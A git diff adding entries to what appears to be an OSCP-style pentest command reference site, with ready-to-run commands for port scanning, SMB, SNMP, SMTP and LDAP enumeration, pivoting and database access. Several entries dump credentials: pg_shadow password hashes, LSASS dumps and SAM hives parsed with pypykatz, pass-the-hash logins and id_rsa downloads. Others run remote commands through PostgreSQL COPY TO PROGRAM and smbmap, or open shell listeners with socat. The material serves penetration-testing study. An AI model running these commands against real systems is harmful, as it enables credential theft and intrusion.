-q ssh $USER@$IP +description: Send a TCP tool through a SOCKS proxy from a foothold, with the scanning limits that come with it +os: [Linux] +category: [oscp, cli] +phase: [Pivoting] +references: + - https://www.kali.org/tools/proxychains-ng/ +--- diff --git a/_commands/psql.md b/_commands/psql.md new file mode 100644 index 0000000..fbc159a --- /dev/null +++ b/_commands/psql.md @@ -0,0 +1,22 @@ +--- +variants: + - label: connect + command: | + psql -h $IP -p 5432 -U postgres + - label: list-databases + command: | + psql -h $IP -p 5432 -U postgres -c '\l' + - label: dump-users + command: | + psql -h $IP -p 5432 -U postgres -c 'SELECT usename, passwd FROM pg_shadow;' + - label: command-exec + command: | + psql -h $IP -p 5432 -U postgres -c "COPY (SELECT '') TO PROGRAM 'id';" +description: Connect to PostgreSQL to enumerate databases, dump credentials, and run commands via COPY TO PROGRAM +os: [Linux] +category: [oscp, cli] +service: [PostgreSQL] +phase: [Enumeration, Exploitation] +references: + - https://www.postgresql.org/docs/current/app-psql.html +--- diff --git a/_commands/pypykatz.md b/_commands/pypykatz.md new file mode 100644 index 0000000..6f7de77 --- /dev/null +++ b/_commands/pypykatz.md @@ -0,0 +1,18 @@ +--- +variants: + - label: minidump + command: | + pypykatz lsa minidump lsass.DMP + - label: registry-hives + command: | + pypykatz registry --sam SAM.save --security SECURITY.save SYSTEM.save + - label: dpapi-prekey + command: | + pypykatz dpapi prekey lsa lsass.DMP +description: Parse an LSASS dump or saved registry hives offline to recover hashes and plaintext secrets +os: [Linux] +category: [oscp, cli] +phase: [CredAccess] +references: + - https://github.com/skelsec/pypykatz +--- diff --git a/_commands/rustscan.md b/_commands/rustscan.md new file mode 100644 index 0000000..61781b1 --- /dev/null +++ b/_commands/rustscan.md @@ -0,0 +1,22 @@ +--- +variants: + - label: quick + command: | + rustscan -a $IP --ulimit 5000 -b 500 -t 2000 -g + - label: full-nmap + command: | + rustscan -r 1-65535 --ulimit 5000 -t 2000 -b 2000 -a $IP -- -Pn -sVC -A --min-rate=5000 --min-parallelism=100 + - label: common-ports + command: | + rustscan -a $IP --ulimit 5000 -b 500 -t 2000 -p 21,22,25,53,80,110,135,139,143,389,443,445,993,995,1433,1521,2049,3268,3306,3389,5432,5985,5986,8080,8443 -g + - label: ports-csv + command: | + rustscan -r 1-65535 --ulimit 5000 -t 2000 -b 2000 -a $IP | tee rustscan.txt + grep '^Open' rustscan.txt | awk -F: '{print $2}' | tr '\n' ',' | sed 's/,$/\n/' +description: Fast port sweep that hands the open ports straight to nmap for service detection +os: [Linux] +category: [oscp, cli] +phase: [Enumeration] +references: + - https://github.com/bee-san/RustScan +--- diff --git a/_commands/searchsploit.md b/_commands/searchsploit.md new file mode 100644 index 0000000..fd6435c --- /dev/null +++ b/_commands/searchsploit.md @@ -0,0 +1,21 @@ +--- +variants: + - label: search + command: | + searchsploit apache 2.4 + - label: mirror + command: | + searchsploit -m 50064 + - label: examine + command: | + searchsploit -x 50064 + - label: update + command: | + searchsploit -u +description: Search the local Exploit-DB copy and mirror a chosen exploit into the working directory +os: [Linux] +category: [oscp, cli] +phase: [Exploitation] +references: + - https://www.kali.org/tools/exploitdb/ +--- diff --git a/_commands/smbclient.md b/_commands/smbclient.md index dd92554..3d931dd 100644 --- a/_commands/smbclient.md +++ b/_commands/smbclient.md @@ -9,6 +9,9 @@ variants: - label: impacket command: | impacket-smbclient $DOMAIN/$USER:$PASSWORD@$IP + - label: impacket-hash + command: | + impacket-smbclient $DOMAIN/$USER@$IP -hashes :$HASH - label: ticket command: | impacket-smbclient -k -no-pass $DOMAIN/$USER@$IP diff --git a/_commands/smbmap.md b/_commands/smbmap.md new file mode 100644 index 0000000..ba05d41 --- /dev/null +++ b/_commands/smbmap.md @@ -0,0 +1,30 @@ +--- +variants: + - label: shares + command: | + smbmap -H $IP -u $USER -p $PASSWORD -d $DOMAIN + - label: null-session + command: | + smbmap -H $IP -u '' -p '' + - label: recursive + command: | + smbmap -H $IP -u $USER -p $PASSWORD -d $DOMAIN -R --depth 5 + - label: download + command: | + smbmap -H $IP -u $USER -p $PASSWORD -d $DOMAIN --download '$SHARE\id_rsa' + - label: hash + command: | + smbmap -H $IP -u $USER -p ':$HASH' -d $DOMAIN + - label: exec + command: | + smbmap -H $IP -u $USER -p $PASSWORD -d $DOMAIN -x 'whoami' +description: Enumerate SMB shares with per share read and write permissions, then pull files down +os: [Linux] +category: [oscp, cli] +have: [hash] +service: [SMB] +phase: [Enumeration, CredAccess] +references: + - https://www.kali.org/tools/smbmap/ + - https://github.com/ShawnDEvans/smbmap +--- diff --git a/_commands/smtp-user-enum.md b/_commands/smtp-user-enum.md new file mode 100644 index 0000000..732886f --- /dev/null +++ b/_commands/smtp-user-enum.md @@ -0,0 +1,19 @@ +--- +variants: + - label: vrfy + command: | + smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t $IP -m 100 -w 15 + - label: rcpt + command: | + smtp-user-enum -M RCPT -D $DOMAIN -U users.txt -t $IP -p 25 + - label: expn + command: | + smtp-user-enum -M EXPN -U users.txt -t $IP +description: Validate mailbox names against an SMTP server with VRFY, RCPT, or EXPN +os: [Linux] +category: [oscp, cli] +service: [SMTP] +phase: [Enumeration] +references: + - https://www.kali.org/tools/smtp-user-enum/ +--- diff --git a/_commands/snmpwalk.md b/_commands/snmpwalk.md new file mode 100644 index 0000000..f9b0ac3 --- /dev/null +++ b/_commands/snmpwalk.md @@ -0,0 +1,22 @@ +--- +variants: + - label: full + command: | + snmpwalk -v2c -c public $IP 1.3.6.1.2.1 + - label: extend-objects + command: | + snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects + - label: extend-output + command: | + snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull + - label: slow-ascii + command: | + snmpwalk -t 10 -Oa -v2c -c public $IP 1.3.6.1.2 +description: Walk an SNMP tree by OID or MIB name to pull processes, users, and net-snmp extend output +os: [Linux] +category: [oscp, cli] +service: [SNMP] +phase: [Enumeration] +references: + - http://www.net-snmp.org/docs/man/snmpwalk.html +--- diff --git a/_commands/socat.md b/_commands/socat.md new file mode 100644 index 0000000..2601069 --- /dev/null +++ b/_commands/socat.md @@ -0,0 +1,21 @@ +--- +variants: + - label: port-forward + command: | + socat tcp-listen:4141,fork,reuseaddr tcp-connect:$IP:3389 & + - label: source-port + command: | + socat TCP4-SOURCEPORT=53 TCP4:$IP:50000 + - label: listener + command: | + socat -d -d TCP-LISTEN:$LPORT,fork,reuseaddr - + - label: tty-shell + command: | + socat file:`tty`,raw,echo=0 TCP-LISTEN:$LPORT +description: Relay TCP between two endpoints for port forwarding, spoofed source ports, and full tty shells +os: [Linux] +category: [oscp, cli] +phase: [Pivoting] +references: + - https://www.kali.org/tools/socat/ +--- diff --git a/_commands/sqlplus.md b/_commands/sqlplus.md new file mode 100644 index 0000000..32c5927 --- /dev/null +++ b/_commands/sqlplus.md @@ -0,0 +1,19 @@ +--- +variants: + - label: sysdba + command: | + sqlplus '$USER/$PASSWORD'@$IP/XE as sysdba + - label: user + command: | + sqlplus '$USER/$PASSWORD'@$IP:1521/XE + - label: list-tables + command: | + echo 'select table_name from all_tables;' | sqlplus -s '$USER/$PASSWORD'@$IP/XE +description: Connect to an Oracle instance to run queries, optionally as sysdba +os: [Linux] +category: [oscp, cli] +service: [Oracle] +phase: [Exploitation] +references: + - https://www.oracle.com/database/technologies/instant-client.html +--- diff --git a/_commands/sshuttle.md b/_commands/sshuttle.md new file mode 100644 index 0000000..89dac40 --- /dev/null +++ b/_commands/sshuttle.md @@ -0,0 +1,19 @@ +--- +variants: + - label: subnets + command: | + sshuttle -r $USER@$IP 10.10.10.0/24 172.16.5.0/24 + - label: key-and-port + command: | + sshuttle -r $USER@$IP:2222 172.16.5.0/24 --ssh-cmd 'ssh -i id_rsa' + - label: with-dns + command: | + sshuttle -r $USER@$IP 0.0.0.0/0 --dns +description: Transparent VPN over a plain SSH login, routes whole subnets without a SOCKS proxy +os: [Linux] +category: [oscp, cli] +service: [SSH] +phase: [Pivoting] +references: + - https://github.com/sshuttle/sshuttle +--- diff --git a/_commands/windapsearch.md b/_commands/windapsearch.md new file mode 100644 index 0000000..d563a5d --- /dev/null +++ b/_commands/windapsearch.md @@ -0,0 +1,25 @@ +--- +variants: + - label: users + command: | + windapsearch -d $DOMAIN --dc-ip $DCIP -u $USER -p $PASSWORD -m users + - label: anonymous + command: | + windapsearch -d $DOMAIN --dc-ip $DCIP -m users + - label: privileged + command: | + windapsearch -d $DOMAIN --dc-ip $DCIP -u $USER -p $PASSWORD -m privileged-users + - label: computers + command: | + windapsearch -d $DOMAIN --dc-ip $DCIP -u $USER -p $PASSWORD -m computers + - label: unconstrained + command: | + windapsearch -d $DOMAIN --dc-ip $DCIP -u $USER -p $PASSWORD -m unconstrained-users +description: Query LDAP for users, computers, and privileged groups without writing raw filters +os: [Linux] +category: [oscp, cli] +service: [LDAP, AD] +phase: [Enumeration] +references: + - https://github.com/ropnop/windapsearch +--- diff --git a/_data/service.yml b/_data/service.yml index e77f22b..6858726 100644 --- a/_data/service.yml +++ b/_data/service.yml @@ -46,3 +46,24 @@ ADCS: WMI: label: WMI description: Windows Management Instrumentation. +FTP: + label: FTP + description: File Transfer Protocol. +NFS: + label: NFS + description: Network File System. +SMTP: + label: SMTP + description: Mail submission and transfer. +IMAP: + label: IMAP + description: Mailbox access. +POP3: + label: POP3 + description: Mailbox retrieval. +Oracle: + label: Oracle + description: Oracle Database and TNS listener. +PostgreSQL: + label: PostgreSQL + description: PostgreSQL database.